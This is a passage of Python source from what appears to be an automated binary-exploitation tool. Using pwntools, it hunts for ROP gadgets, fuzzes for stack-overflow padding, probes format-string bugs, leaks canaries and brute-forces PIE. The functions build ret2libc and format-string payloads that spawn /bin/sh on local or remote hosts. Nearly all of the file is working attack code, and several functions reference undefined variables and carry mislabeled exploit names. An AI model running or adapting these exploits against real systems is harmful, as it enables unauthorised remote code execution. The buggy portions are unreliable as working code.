        register_searches = ['eax', 'ebx', 'ecx', 'edx']
        
        for reg in register_searches:
            os.system(f"ropper --file {program} --search 'pop {reg};' > ropper.txt --nocolor 2>&1")
            
            with open("ropper.txt", "r") as file:
                lines = file.readlines()
                
            for line in lines:
                if '[INFO]' in line:
                    continue
                    
                if f"pop {reg}; ret;" in line:
                    address = line.split(":")[0].strip()
                    gadgets[f'pop_{reg}'] = address
                    registers_found[reg] = 1
                    print_table_row([f"pop {reg}", address, "FOUND"], [Colors.END, Colors.YELLOW, Colors.SUCCESS])
                    break
                elif f"pop {reg}" in line and 'pop ebx' in line and reg == 'ecx':
                    address = line.split(":")[0].strip()
                    gadgets['pop_ecx_ebx'] = address
                    registers_found[reg] = 1
                    print_table_row(["pop ecx; pop ebx", address, "FOUND"], [Colors.END, Colors.YELLOW, Colors.SUCCESS])
                    break
            
            if registers_found[reg] == 0:
                print_table_row([f"pop {reg}", "N/A", "NOT FOUND"], [Colors.END, Colors.END, Colors.ERROR])
        
        # Search for ret and int 0x80
        os.system(f"ropper --file {program} --search 'ret;' > ropper.txt --nocolor 2>&1")
        with open("ropper.txt", "r") as file:
            for line in file.readlines():
                if '[INFO]' in line:
                    continue
                if "ret" in line and "ret " not in line:
                    gadgets['ret'] = line.split(":")[0].strip()
                    print_table_row(["ret", gadgets['ret'], "FOUND"], [Colors.END, Colors.YELLOW, Colors.SUCCESS])
                    break
        
        os.system(f"ropper --file {program} --search 'int 0x80;' > ropper.txt --nocolor 2>&1")
        with open("ropper.txt", "r") as file:
            for line in file.readlines():
                if '[INFO]' in line:
                    continue
                if "int 0x80" in line:
                    gadgets['int_0x80'] = line.split(":")[0].strip()
                    print_table_row(["int 0x80", gadgets['int_0x80'], "FOUND"], [Colors.END, Colors.YELLOW, Colors.SUCCESS])
                    break
        
        print_info("")
        return (gadgets['pop_eax'], gadgets['pop_ebx'], gadgets['pop_ecx'], gadgets['pop_edx'],
                gadgets['pop_ecx_ebx'], gadgets['ret'], gadgets['int_0x80'],
                registers_found['eax'], registers_found['ebx'], registers_found['ecx'], registers_found['edx'])
        
    except Exception as e:
        print_error(f"failed to find ROP gadgets: {e}")
        return None, None, None, None, None, None, None, 0, 0, 0, 0

def test_stack_overflow(program, bit):
    """Test for stack overflow vulnerability with progress indication"""
    print_info("testing for stack overflow vulnerability")
    
    char = 'A'
    padding = 0
    max_test = 10000
    
    print_section_header("STACK OVERFLOW DETECTION")
    
    while padding < max_test:
        # Update progress every 100 iterations
        if padding % 100 == 0:
            print_progress(padding, max_test, "Testing overflow")
        
        input_data = char * (padding + 1)
        
        try:
            process = subprocess.Popen([program], stdin=subprocess.PIPE, 
                                     stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            stdout, stderr = process.communicate(input=input_data.encode(), timeout=1)
            
            if process.returncode == -11:  # SIGSEGV
                alignment = 8 if bit == 64 else 4
                final_padding = padding + alignment
                print_progress(max_test, max_test, "Testing overflow")
                print_success(f"stack overflow detected! Padding: {Colors.YELLOW}{final_padding}{Colors.END} bytes")
                return final_padding
                
        except subprocess.TimeoutExpired:
            process.kill()
        except Exception:
            pass
            
        padding += 1
    
    print_progress(max_test, max_test, "Testing overflow")
    print_warning("no stack overflow vulnerability detected")
    return 0

def analyze_vulnerable_functions(program, bit):
    """Analyze assembly code to find vulnerable functions"""
    print_info("analyzing vulnerable functions")
    
    try:
        with open("Objdump_Scan.txt", 'r') as f:
            content = f.read()
        
        func_pattern = r'^[0-9a-f]+ <(\w+)>:(.*?)(?=^\d+ <\w+>:|\Z)'
        functions = re.finditer(func_pattern, content, re.MULTILINE | re.DOTALL)
        
        vulnerable_functions = []
        
        for func in functions:
            func_name = func.group(1)
            func_body = func.group(2)
            
            # Check for dangerous function calls with lea instruction
            dangerous_calls = ['read', 'gets', 'fgets', 'scanf']
            has_lea = 'lea' in func_body
            has_dangerous_call = any(call in func_body for call in dangerous_calls)
            
            if has_lea and has_dangerous_call:
                lea_match = re.search(r'lea\s+(-?0x[0-9a-f]+)\(%[er]bp\)', func_body)
                if lea_match:
                    offset_hex = lea_match.group(1)
                    offset_dec = abs(int(offset_hex, 16))
                    alignment = 8 if bit == 64 else 4
                    padding = offset_dec + alignment
                    
                    vulnerable_functions.append({
                        'name': func_name,
                        'stack_size': offset_dec,
                        'padding': padding
                    })
        
        if vulnerable_functions:
            print_section_header("VULNERABLE FUNCTIONS")
            headers = ["Function", "Stack Size", "Padding"]
            print_table_header(headers)
            
            for func in vulnerable_functions:
                colors = [Colors.YELLOW, Colors.END, Colors.SUCCESS]
                print_table_row([func['name'], f"{func['stack_size']} bytes", f"{func['padding']} bytes"], colors)
            
            print_info("")
            return vulnerable_functions[0]['padding']  # Return first found
        
        return None
        
    except Exception as e:
        print_error(f"failed to analyze vulnerable functions: {e}")
        return None

def vuln_func_name():
    """Find vulnerable function names from objdump scan"""
    try:
        with open("Objdump_Scan.txt", 'r') as f:
            content = f.read()

        functions = re.split(r'\n\n', content.strip())

        results = []
        for func in functions:
            func_name_match = re.search(r'<([^>]+)>', func)
            if not func_name_match:
                continue
            func_name = func_name_match.group(1)

            has_lea = bool(re.search(r'\s+lea\s', func))
            has_call_read = bool(re.search(r'call.*read@plt', func))
            has_call_read += bool(re.search(r'call.*gets@plt', func))
            has_call_read += bool(re.search(r'call.*fgets@plt', func))
            has_call_read += bool(re.search(r'call.*scanf@plt', func))
            
            if has_lea and has_call_read:
                lea_match = re.search(r'lea\s+-\s*(0x[0-9a-f]+)', func)
                if lea_match:
                    results.append(func_name)

        return results
    except Exception as e:
        print_error(f"failed to find vulnerable function names: {e}")
        return []

def asm_stack_overflow(program, bit):
    """Assembly-based stack overflow analysis with padding adjustment"""
    print_info("performing assembly-based overflow analysis")
    
    try:
        with open("Objdump_Scan.txt", 'r') as f:
            content = f.read()
        
        func_pattern = r'^[0-9a-f]+ <(\w+)>:(.*?)(?=^\d+ <\w+>:|\Z)'
        functions = re.finditer(func_pattern, content, re.MULTILINE | re.DOTALL)
        
        for func in functions:
            func_body = func.group(2)
            
            # Check for vulnerable patterns
            dangerous_calls = ['read', 'gets', 'fgets', 'scanf']
            has_lea = 'lea' in func_body
            has_call = 'call' in func_body
            has_dangerous_call = any(call in func_body for call in dangerous_calls)
            
            if has_lea and has_call and has_dangerous_call:
                lea_match = re.search(r'lea\s+(-?0x[0-9a-f]+)\(%[er]bp\)', func_body)
                if lea_match:
                    offset_hex = lea_match.group(1)
                    offset_dec = abs(int(offset_hex, 16))
                    
                    if bit == 64:
                        padding = offset_dec + 8
                    else:
                        padding = offset_dec + 4
                    
                    print_success(f"stack size: {Colors.YELLOW}{offset_dec}{Colors.END} bytes")
                    print_success(f"overflow padding adjustment: {Colors.YELLOW}{padding}{Colors.END} bytes")
                    
                    return padding
        
        return None
        
    except Exception as e:
        print_error(f"failed to perform assembly analysis: {e}")
        return None

def check_binsh_string(program):
    """Check for /bin/sh string in binary"""
    print_info("checking for /bin/sh string")
    
    try:
        os.system(f'strings {program} | grep "/bin/sh" > check_binsh.txt')
        
        with open('check_binsh.txt', 'r') as file:
            content = file.read()
        
        if '/bin/sh' in content:
            print_success("/bin/sh string found in binary")
            return True
        else:
            print_warning("/bin/sh string not found in binary")
            return False
            
    except Exception as e:
        print_error(f"failed to check for /bin/sh string: {e}")
        return False

def check_binsh(program):
    """Check for /bin/sh string in binary (pwnpasi_base.py compatible)"""
    os.system('strings ' + program +' | grep "/bin/sh" > check_binsh.txt')
    with open('check_binsh.txt', 'r') as file:
        content = file.read()
    
    return '/bin/sh' in content

def detect_format_string_vulnerability(program):
    """Detect format string vulnerabilities"""
    print_info("testing for format string vulnerabilities")
    
    test_cases = [
        b"%x" * 20,
        b"%p" * 20, 
        b"%s" * 20,
        b"%n" * 5,
        b"AAAA%x%x%x%x",
        b"%99999999s",
    ]
    
    memory_pattern = re.compile(r'(0x[0-9a-fA-F]+)')
    vulnerable = False
    
    print_section_header("FORMAT STRING VULNERABILITY TEST")
    headers = ["Test Case", "Result", "Status"]
    print_table_header(headers)
    
    for i, case in enumerate(test_cases):
        try:
            proc = subprocess.Popen(
                [program],
                stdin=subprocess.PIPE,
                stdout=subprocess.PIPE, 
                stderr=subprocess.PIPE,
            )
            stdout, stderr = proc.communicate(input=case, timeout=2)
            
            result = "SAFE"
            color = Colors.SUCCESS
            
            if memory_pattern.search(stdout.decode()):
                result = "VULNERABLE"
                color = Colors.ERROR
                vulnerable = True
                
            if proc.returncode != 0:
                result = "CRASH"
                color = Colors.CRITICAL
                vulnerable = True
            
            case_str = case.decode()[:20] + "..." if len(case) > 20 else case.decode()
            colors = [Colors.END, Colors.END, color]
            print_table_row([case_str, result, "DETECTED" if result != "SAFE" else "NONE"], colors)
            
        except subprocess.TimeoutExpired:
            colors = [Colors.END, Colors.END, Colors.WARNING]
            print_table_row([case.decode()[:20], "TIMEOUT", "POSSIBLE"], colors)
            vulnerable = True
        except Exception as e:
            colors = [Colors.END, Colors.END, Colors.ERROR]
            print_table_row([case.decode()[:20], "ERROR", "UNKNOWN"], colors)
    
    print()
    
    if vulnerable:
        print_success("format string vulnerability detected!")
        return True
    else:
        print_warning("no format string vulnerability detected")
        return False

def find_ftmstr_bss_symbols(program):
    """Find format string BSS symbols"""
    function = 0
    with open(program, 'rb') as f:
        elf = ELFFile(f)
        symtab = elf.get_section_by_name('.symtab')
        if not symtab:
            print_warning("Did not find the variable used in the if-condition")
            return function
        for symbol in symtab.iter_symbols():
            if (symbol['st_info'].type == 'STT_OBJECT' and
                symbol['st_size'] > 2 and
                '_' not in symbol.name):
                print_success(f"Found the variable used in the if-condition: {symbol.name}, address: {hex(symbol['st_value'])}")
                function = 1
                buf_addr = hex(symbol['st_value'])
                function_name = symbol.name

    return function, buf_addr, function_name

def find_offset(program):
    """Find format string offset"""
    print_info("searching for format string offset")
    
    p = process(program)
    payload = b'AAAA' + b'.%x' * 40      # Payload to leak stack values
    print_payload(f"testing payload: {payload[:20]}...")
    
    p.sendline(payload)
    try:
        output = p.recv(timeout=2)       # Receive output from the program
    except:
        output = p.clean()              # If timeout, clean buffer
        
    parts = output.split(b'.')        # Split output by '.'
    for i in range(1, len(parts)):
        # Extract first word before space or newline after each '.'
        part = parts[i].split(b'\n')[0].split()[0] if b' ' in parts[i] else parts[i]
        try:
            val = int(part, 16)          # Convert hex string to int
            if val == 0x41414141:        # Check for 'AAAA' in hex
                p.close()
                print_success(f"format string offset found: {i}")
                return i                 # Return the offset where 'AAAA' appears
        except:
            continue
    p.close()
    print_error("offset not found")
    raise ValueError('[-]Offset not found')   # Raise if not found

def system_fmtstr(program, offset, buf_addr):
    """Format string exploitation (local)"""
    print_section_header("EXPLOITATION: Format String - Local")
    print_payload("preparing format string exploit")
    
    io = process(program)
    elf = ELF(program)
    buf_addr = int(buf_addr, 16)
    buf_addr = p32(buf_addr)
    system_addr = buf_addr
    offset_bytes = str(offset).encode()
    
    payload = system_addr + b'%' + offset_bytes + b'$n'
    print_payload(f"payload: {payload}")
    
    io.sendline(payload)
    
    # Handle successful exploitation
    handle_exploitation_success(
        'Format String - Local',
        payload,
        0,  # No padding for format string
        {
            'buf_addr': hex(int(buf_addr.hex(), 16)),
            'system_addr': hex(int(system_addr.hex(), 16)),
            'offset': str(offset)
        },
        'Format String Vulnerability',
        'x32'
    )
    
    io.interactive()

def ret2libc_write_x64(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, libc_path):
    """ret2libc exploitation using write function (x64)"""
    print_section_header("EXPLOITATION: ret2libc (write) - x64")
    print_payload("preparing ret2libc exploit using write function")
    
    io = process(program)
    
    if libc == 1:
        if libc_path is None:
            print_info("using LibcSearcher for libc resolution")
        else:
            print_info(f"using detected libc: {libc_path}")
            libc = ELF(libc_path)
    else:
        libc = ELF(libc)
    
    e = ELF(program)
    main_addr = e.symbols['main']
    write_plt = e.symbols['write']
    write_got = e.got['write']
    
    print_info(f"main address: {Colors.YELLOW}{hex(main_addr)}{Colors.END}")
    print_info(f"write@plt: {Colors.YELLOW}{hex(write_plt)}{Colors.END}")
    print_info(f"write@got: {Colors.YELLOW}{hex(write_got)}{Colors.END}")
    
    pop_rdi_addr = int(pop_rdi_addr, 16)
    pop_rsi_addr = int(pop_rsi_addr, 16)
    ret_addr = int(ret_addr, 16)
    
    # Stage 1: Leak write address
    print_payload("stage 1: leaking write address from GOT")
    if other_rsi_registers == 1:
        payload1 = flat([
            asm('nop') * padding,
            p64(pop_rdi_addr),
            p64(1),
            p64(pop_rsi_addr),
            p64(write_got),
            p64(0),
            p64(write_plt),
            p64(main_addr)
        ])
    elif other_rdi_registers == 1:
        payload1 = flat([
            asm('nop') * padding,
            p64(pop_rdi_addr),
            p64(1),
            p64(0),
            p64(pop_rsi_addr),
            p64(write_got),
            p64(write_plt),
            p64(main_addr)
        ])
    elif other_rdi_registers == 0 and other_rsi_registers == 0:
        payload1 = flat([
            asm('nop') * padding,
            p64(pop_rdi_addr),
            p64(1),
            p64(pop_rsi_addr),
            p64(write_got),
            p64(write_plt),
            p64(main_addr)
        ])
    
    io.recv()
    io.sendline(payload1)
    
    write_addr = u64(io.recv(8))
    print_success(f"write address leaked: {Colors.YELLOW}{hex(write_addr)}{Colors.END}")
    
    # Calculate system and /bin/sh addresses
    if libc == 1:
        libc = LibcSearcher("write", write_addr)
        libcbase = write_addr - libc.dump('write')
        system_addr = libcbase + libc.dump('system')
        sh_addr = libcbase + libc.dump('str_bin_sh')
    else:
        libc_write = libc.symbols['write']
        system_addr = write_addr - libc_write + libc.symbols['system']
        sh_addr = write_addr - libc_write + next(libc.search(b'/bin/sh'))
    
    print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
    print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}")
    
    # Stage 2: Execute system("/bin/sh")
    print_payload("stage 2: executing system('/bin/sh')")
    
    if other_rdi_registers == 1:
        payload2 = flat([
            asm('nop') * padding,
            p64(pop_rdi_addr),
            p64(sh_addr),
            p64(0),
            p64(system_addr),
            p64(0)
        ])
    else:
        payload2 = flat([
            asm('nop') * padding,
            p64(pop_rdi_addr),
            p64(sh_addr),
            p64(system_addr),
            p64(0)
        ])
    
    io.recv()
    
    io.sendline(payload2)
    
    # Handle successful exploitation
    handle_exploitation_success(
        'ret2libc (write) - x64',
        payload2,
        padding,
        {
            'pop_rdi': hex(pop_rdi_addr),
            'pop_rsi': hex(pop_rsi_addr),
            'ret': hex(ret_addr),
            'write_plt': hex(write_plt),
            'write_got': hex(write_got),
            'main': hex(main_addr),
            'system': hex(system_addr),
            'sh': hex(sh_addr)
        },
        'Stack Buffer Overflow',
        'x64'
    )
    
    io.interactive()

def ret2libc_write_x32_remote(program, libc, padding, url, port):
    """ret2libc exploitation using write function (x32 remote)"""
    print_section_header("EXPLOITATION: ret2libc (write) - x32 Remote")
    print_payload("preparing ret2libc exploit using write function")
    
    io = remote(url, port)
    
    if libc == 1:
        print_info("using LibcSearcher for libc resolution")
    else:
        libc = ELF(libc)
    
    e = ELF(program)
    main_addr = e.symbols['main']
    write_plt = e.symbols['write']
    write_got = e.got['write']
    
    print_info(f"main address: {Colors.YELLOW}{hex(main_addr)}{Colors.END}")
    print_info(f"write@plt: {Colors.YELLOW}{hex(write_plt)}{Colors.END}")
    print_info(f"write@got: {Colors.YELLOW}{hex(write_got)}{Colors.END}")
    
    # Stage 1: Leak write address
    print_payload("stage 1: leaking write address from GOT")
    payload1 = asm('nop') * padding + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
    
    io.recv()
    io.sendline(payload1)
    
    write_addr = u32(io.recv(4))
    print_success(f"write address leaked: {Colors.YELLOW}{hex(write_addr)}{Colors.END}")
    
    # Calculate system and /bin/sh addresses
    if libc == 1:
        libc = LibcSearcher("write", write_addr)
        libcbase = write_addr - libc.dump('write')
        system_addr = libcbase + libc.dump('system')
        sh_addr = libcbase + libc.dump('str_bin_sh')
    else:
        libc_write = libc.symbols['write']
        system_addr = write_addr - libc_write + libc.symbols['system']
        sh_addr = write_addr - libc_write + next(libc.search(b'/bin/sh'))
    
    print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
    print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}")
    
    # Stage 2: Execute system("/bin/sh")
    print_payload("stage 2: executing system('/bin/sh')")
    payload2 = asm('nop') * padding + p32(system_addr) + p32(0) + p32(sh_addr)
    
    io.recv()
    io.sendline(payload2)
    
    # Handle successful exploitation
    handle_exploitation_success(
        'ret2libc (puts) - x64',
        payload2,
        padding,
        {
            'pop_rdi': hex(int(pop_rdi_addr.hex(), 16)),
            'ret': hex(int(ret_addr.hex(), 16)),
            'puts_plt': hex(puts_plt),
            'puts_got': hex(puts_got),
            'main': hex(main_addr),
            'puts_addr': hex(puts_addr),
            'system': hex(system_addr),
            'sh': hex(sh_addr)
        },
        'Stack Buffer Overflow',
        'x64'
    )
    
    print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
    io.interactive()

def ret2libc_write_x64_remote(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, url, port):
    """ret2libc exploitation using write function (x64 remote)"""
    print_section_header("EXPLOITATION: ret2libc (write) - x64 Remote")
    print_payload("preparing ret2libc exploit using write function")
    
    io = remote(url, port)
    
    if libc == 1:
        print_info("using LibcSearcher for libc resolution")
    else:
        libc = ELF(libc)
    
    e = ELF(program)
    main_addr = e.symbols['main']
    write_plt = e.symbols['write']
    write_got = e.got['write']
    
    print_info(f"main address: {Colors.YELLOW}{hex(main_addr)}{Colors.END}")
    print_info(f"write@plt: {Colors.YELLOW}{hex(write_plt)}{Colors.END}")
    print_info(f"write@got: {Colors.YELLOW}{hex(write_got)}{Colors.END}")
    
    pop_rdi_addr = int(pop_rdi_addr, 16)
    pop_rsi_addr = int(pop_rsi_addr, 16)
    ret_addr = int(ret_addr, 16)
    
    # Stage 1: Leak write address
    print_payload("stage 1: leaking write address from GOT")
    if other_rsi_registers == 1:
        payload1 = flat([
            asm('nop') * padding,
            p64(pop_rdi_addr),
            p64(1),
            p64(pop_rsi_addr),
            p64(write_got),
            p64(0),
            p64(write_plt),
            p64(main_addr)
        ])
    elif other_rdi_registers == 1:
        payload1 = flat([
            asm('nop') * padding,
            p64(pop_rdi_addr),
            p64(1),
            p64(0),
            p64(pop_rsi_addr),
            p64(write_got),
            p64(write_plt),
            p64(main_addr)
        ])
    elif other_rdi_registers == 0 and other_rsi_registers == 0:
        payload1 = flat([
            asm('nop') * padding,
            p64(pop_rdi_addr),
            p64(1),
            p64(pop_rsi_addr),
            p64(write_got),
            p64(write_plt),
            p64(main_addr)
        ])
    
    io.recv()
    io.sendline(payload1)
    
    write_addr = u64(io.recv(8))
    print_success(f"write address leaked: {Colors.YELLOW}{hex(write_addr)}{Colors.END}")
    
    # Calculate system and /bin/sh addresses
    if libc == 1:
        libc = LibcSearcher("write", write_addr)
        libcbase = write_addr - libc.dump('write')
        system_addr = libcbase + libc.dump('system')
        sh_addr = libcbase + libc.dump('str_bin_sh')
    else:
        libc_write = libc.symbols['write']
        system_addr = write_addr - libc_write + libc.symbols['system']
        sh_addr = write_addr - libc_write + next(libc.search(b'/bin/sh'))
    
    print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
    print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}")
    
    # Stage 2: Execute system("/bin/sh")
    print_payload("stage 2: executing system('/bin/sh')")
    io.recv()
    
    if other_rdi_registers == 1:
        payload2 = flat([
            asm('nop') * padding,
            p64(pop_rdi_addr),
            p64(sh_addr),
            p64(0),
            p64(ret_addr),
            p64(system_addr)
        ])
    else:
        payload2 = flat([
            asm('nop') * padding,
            p64(pop_rdi_addr),
            p64(sh_addr),
            p64(ret_addr),
            p64(system_addr)
        ])
    
    io.sendline(payload2)
    
    # Handle successful exploitation
    handle_exploitation_success(
        'ret2libc (puts) - x64',
        payload2,
        padding,
        {
            'puts_plt': hex(puts_plt),
            'puts_got': hex(puts_got),
            'main': hex(main_addr),
            'puts_addr': hex(puts_addr),
            'system': hex(system_addr),
            'sh': hex(sh_addr)
        },
        'Stack Buffer Overflow',
        'x64'
    )
    
    print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
    io.interactive()

def system_fmtstr_remote(program, offset, buf_addr, url, port):
    """Format string exploitation (remote)"""
    print_section_header("EXPLOITATION: Format String - Remote")
    print_payload("preparing format string exploit")
    
    io = remote(url, port)
    elf = ELF(program)
    buf_addr = int(buf_addr, 16)
    buf_addr = p64(buf_addr)
    system_addr = buf_addr
    offset_bytes = str(offset).encode()
    
    payload = system_addr + b'%' + offset_bytes + b'$n'
    print_payload(f"payload: {payload}")
    
    io.sendline(payload)
    print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
    io.interactive()

def fmtstr_print_strings(program):
    """Print strings using format string (local)"""
    print_section_header("FORMAT STRING LEAK - Local")
    print_info("leaking program strings using format string")
    elf = context.binary = ELF(program, checksec=False)
    
    for i in range(100):
        try:
            io = process(program, level='error')
            io.sendline('%{}$s'.format(i).encode())
            result = io.recv()
            if result and len(result.strip()) > 0:
                print_info(f"offset {i}: {Colors.YELLOW}{result}{Colors.END}")
            io.close()
        except EOFError:
            pass

def fmtstr_print_strings_remote(program, url, port):
    """Print strings using format string (remote)"""
    print_section_header("FORMAT STRING LEAK - Remote")
    print_info(f"leaking program strings from {url}:{port}")
    elf = context.binary = ELF(program, checksec=False)
    
    for i in range(100):
        try:
            io = remote(url, port)
            io.sendline('%{}$s'.format(i).encode())
            result = io.recv()
            if result and len(result.strip()) > 0:
                print_info(f"offset {i}: {Colors.YELLOW}{result}{Colors.END}")
            io.close()
        except EOFError:
            pass

def leakage_canary_value(program):
    """Leak canary values using format string"""
    print_info("leaking canary values")
    elf = context.binary = ELF(program, checksec=False)
    with open('canary.txt', 'w') as f:
        for i in range(100):
            try:
                with process(program) as p:
                    p.sendline(f'%{i}$p'.encode())
                    p.recvline()
                    result = p.recvline().decode().strip()
                    if result:
                        line = f"{result}\n"
                        f.write(line)
            except EOFError:
                pass

def canary_fuzz(program, bit):
    """Fuzz for canary bypass"""
    print_section_header("CANARY BYPASS FUZZING")
    print_info("fuzzing for canary bypass")
    
    if bit == 64:
        char = 'A'
        test = 'AAAAAAAA'
        with open('canary.txt', 'r') as f:
            lines = [line.strip() for line in f.readlines()[1:]]
        
        c = 1
        i = 1
        max_c = 300
        max_i = len(lines)
        
        print_info(f"testing {max_i} canary values with {max_c} parameters")
        
        while c < max_c and i < max_i:
            current_line = lines[i]
            found_j = False
            exit_current = False
            for j in range(i + 1, max_i):
                if lines[j].startswith('0x8'):
                    diff = j - i
                    padding = 0
                    found_j = True
                    
                    print_info(f"testing parameter c={c}, diff={diff}")
                    
                    while padding <= 300:
                        io = process(program)
                        io.recv()
                        io.sendline(f'%{c}$p'.encode())
                        result = io.recvline().decode().strip()
                        
                        if result.startswith('0x'):
                            result = int(result, 16)
                            result = p64(result)
                        
                        input_data = flat([char * (padding + 1), result, test * diff])
                        io.recv()
                        io.sendline(input_data)
                        io.wait()
                        
                        if io.poll() == -11:
                            padding = padding + 1
                            print_success(f"canary bypass found! c={c}, padding={padding}, diff={diff}")
                            return padding, c, diff
                        
                        io.close()
                        padding += 1
                    
                    if padding > 300:
                        print_warning(f"parameter c={c} test failed, trying next parameter")
                        c += 1
                        i += 1
                        exit_current = True
                        break
                    break
                
                if exit_current:
                    break
            
            if exit_current:
                continue
            
            if not found_j:
                i += 1
                if i >= max_i:
                    c += 1
                    i = 0
        
        print_critical("All parameters tested, no valid offset found")
        padding = None
        return padding, None, None
    
    # Similar logic for 32-bit
    if bit == 32:
        char = 'A'
        test = 'AAAA'
        with open('canary.txt', 'r') as f:
            lines = [line.strip() for line in f.readlines()[1:]]
        
        c = 1
        i = 1
        max_c = 300
        max_i = len(lines)
        
        while c < max_c and i < max_i:
            current_line = lines[i]
            found_j = False
            exit_current = False
            for j in range(i + 1, max_i):
                if lines[j].startswith('0x8'):
                    diff = j - i
                    padding = 0
                    found_j = True
                    
                    while padding <= 300:
                        io = process(program)
                        io.recv()
                        io.sendline(f'%{c}$p'.encode())
                        result = io.recvline().decode().strip()
                        print_info(f"Debug: c={c}, i={i}, padding={padding}, result={result}, diff={diff}")
                        
                        if result.startswith('0x'):
                            result = int(result, 16)
                            result = p32(result)
                        
                        input_data = flat([char * (padding + 1), result, test * diff])
                        io.recv()
                        io.sendline(input_data)
                        io.wait()
                        
                        if io.poll() == -11:
                            padding = padding + 1
                            print_success(f"canary bypass found! c={c}, padding={padding}, diff={diff}")
                            return padding, c, diff
                        
                        io.close()
                        padding += 1
                    
                    if padding > 300:
                        print_warning(f"c={c} test failed, trying next parameter")
                        c += 1
                        i += 1
                        exit_current = True
                        break
                    break
                
                if exit_current:
                    break
            
            if exit_current:
                continue
            
            if not found_j:
                i += 1
                if i >= max_i:
                    c += 1
                    i = 0
        
        print_critical("All parameters tested, no valid offset found")
        padding = None
        return padding, None, None

def pie_backdoor_exploit(program, padding, backdoor, libc_path, libc, callsystem):
    """PIE backdoor exploitation (local)"""
    print_section_header("EXPLOITATION: PIE Backdoor - Local")
    print_payload("preparing PIE backdoor brute force")
    
    elf = ELF(program)
    if backdoor == 1:
        backdoor = elf.symbols["backdoor"] + 0x04
    if callsystem == 1:
        backdoor = elf.symbols["callsystem"] + 0x04
    backdoor_bytes = p64(backdoor)
    valid_bytes = backdoor_bytes.replace(b'\x00', b'')
    valid_byte_length = len(valid_bytes)

    cleaned_bytes = backdoor_bytes[:valid_byte_length]
    payload = asm("nop") * padding + cleaned_bytes

    count = 1
    print_info("starting PIE brute force attack")
    while True:
        io = process(program)
        try:
            count += 1
            print_info(f"attempt {Colors.YELLOW}{count}{Colors.END}", prefix="[BRUTE]")
            io.recv()
            io.send(payload)
            recv = io.recv(timeout=10)
        except:
            print_warning(f"attempt {count} failed", prefix="[BRUTE]")
        else:
            print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
            io.interactive()
            break

def pie_backdoor_exploit_remote(program, padding, backdoor, libc_path, libc, url, port, callsystem):
    """PIE backdoor exploitation (remote)"""
    print_section_header("EXPLOITATION: PIE Backdoor - Remote")
    print_payload("preparing PIE backdoor brute force")
    
    elf = ELF(program)
    if backdoor == 1:
        backdoor = elf.symbols["backdoor"] + 0x04
    if callsystem == 1:
        backdoor = elf.symbols["callsystem"] + 0x04
    
    backdoor_bytes = p64(backdoor)
    valid_bytes = backdoor_bytes.replace(b'\x00', b'')
    valid_byte_length = len(valid_bytes)
    
    cleaned_bytes = backdoor_bytes[:valid_byte_length]
    payload = asm("nop") * padding + cleaned_bytes
    
    count = 1
    print_info(f"starting PIE brute force attack against {Colors.YELLOW}{url}:{port}{Colors.END}")
    while True:
        io = remote(url, port)
        try:
            count += 1
            print_info(f"attempt {Colors.YELLOW}{count}{Colors.END}", prefix="[BRUTE]")
            io.recv()
            io.send(payload)
            recv = io.recv(timeout=10)
        except:
            print_warning(f"attempt {count} failed", prefix="[BRUTE]")
        else:
            print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
            io.interactive()
            break

# Exploitation functions with improved output
def ret2libc_write_x32(program, libc, padding, libc_path):
    """ret2libc exploitation using write function (x32)"""
    print_section_header("EXPLOITATION: ret2libc (write) - x32")
    print_payload("preparing ret2libc exploit using write function")
    
    io = process(program)
    
    if libc == 1:
        if libc_path is None:
            print_info("using LibcSearcher for libc resolution")
        else:
            print_info(f"using detected libc: {libc_path}")
            libc = ELF(libc_path)
    else:
        libc = ELF(libc)
    
    e = ELF(program)
    main_addr = e.symbols['main']
    write_plt = e.symbols['write']
    write_got = e.got['write']
    
    print_info(f"main address: {Colors.YELLOW}{hex(main_addr)}{Colors.END}")
    print_info(f"write@plt: {Colors.YELLOW}{hex(write_plt)}{Colors.END}")
    print_info(f"write@got: {Colors.YELLOW}{hex(write_got)}{Colors.END}")
    
    # Stage 1: Leak write address
    print_payload("stage 1: leaking write address from GOT")
    payload1 = asm('nop') * padding + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
    
    io.recv()
    io.sendline(payload1)
    
    write_addr = u32(io.recv(4))
    print_success(f"write address leaked: {Colors.YELLOW}{hex(write_addr)}{Colors.END}")
    
    # Calculate system and /bin/sh addresses
    if libc == 1:
        libc = LibcSearcher("write", write_addr)
        libcbase = write_addr - libc.dump('write')
        system_addr = libcbase + libc.dump('system')
        sh_addr = libcbase + libc.dump('str_bin_sh')
    else:
        libc_write = libc.symbols['write']
        system_addr = write_addr - libc_write + libc.symbols['system']
        sh_addr = write_addr - libc_write + next(libc.search(b'/bin/sh'))
    
    print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}")
    print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}")
    
    # Stage 2: Execute system("/bin/sh")
    print_payload("stage 2: executing system('/bin/sh')")
    payload2 = asm('nop') * padding + p32(system_addr) + p32(0) + p32(sh_addr)
    
    io.recv()
    io.sendline(payload2)
    
    # Handle successful exploitation
    handle_exploitation_success(
        'ret2libc (puts) - x64 Remote',
        payload2,
        padding,
        {
            'puts_plt': hex(puts_plt),
            'puts_got': hex(puts_got),
            'main': hex(main_addr),
            'puts_addr': hex(puts_addr),
            'system': hex(system_addr),
            'sh': hex(sh_addr)
        },
        'Stack Buffer Overflow',
        'x64'
    )
    
    print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
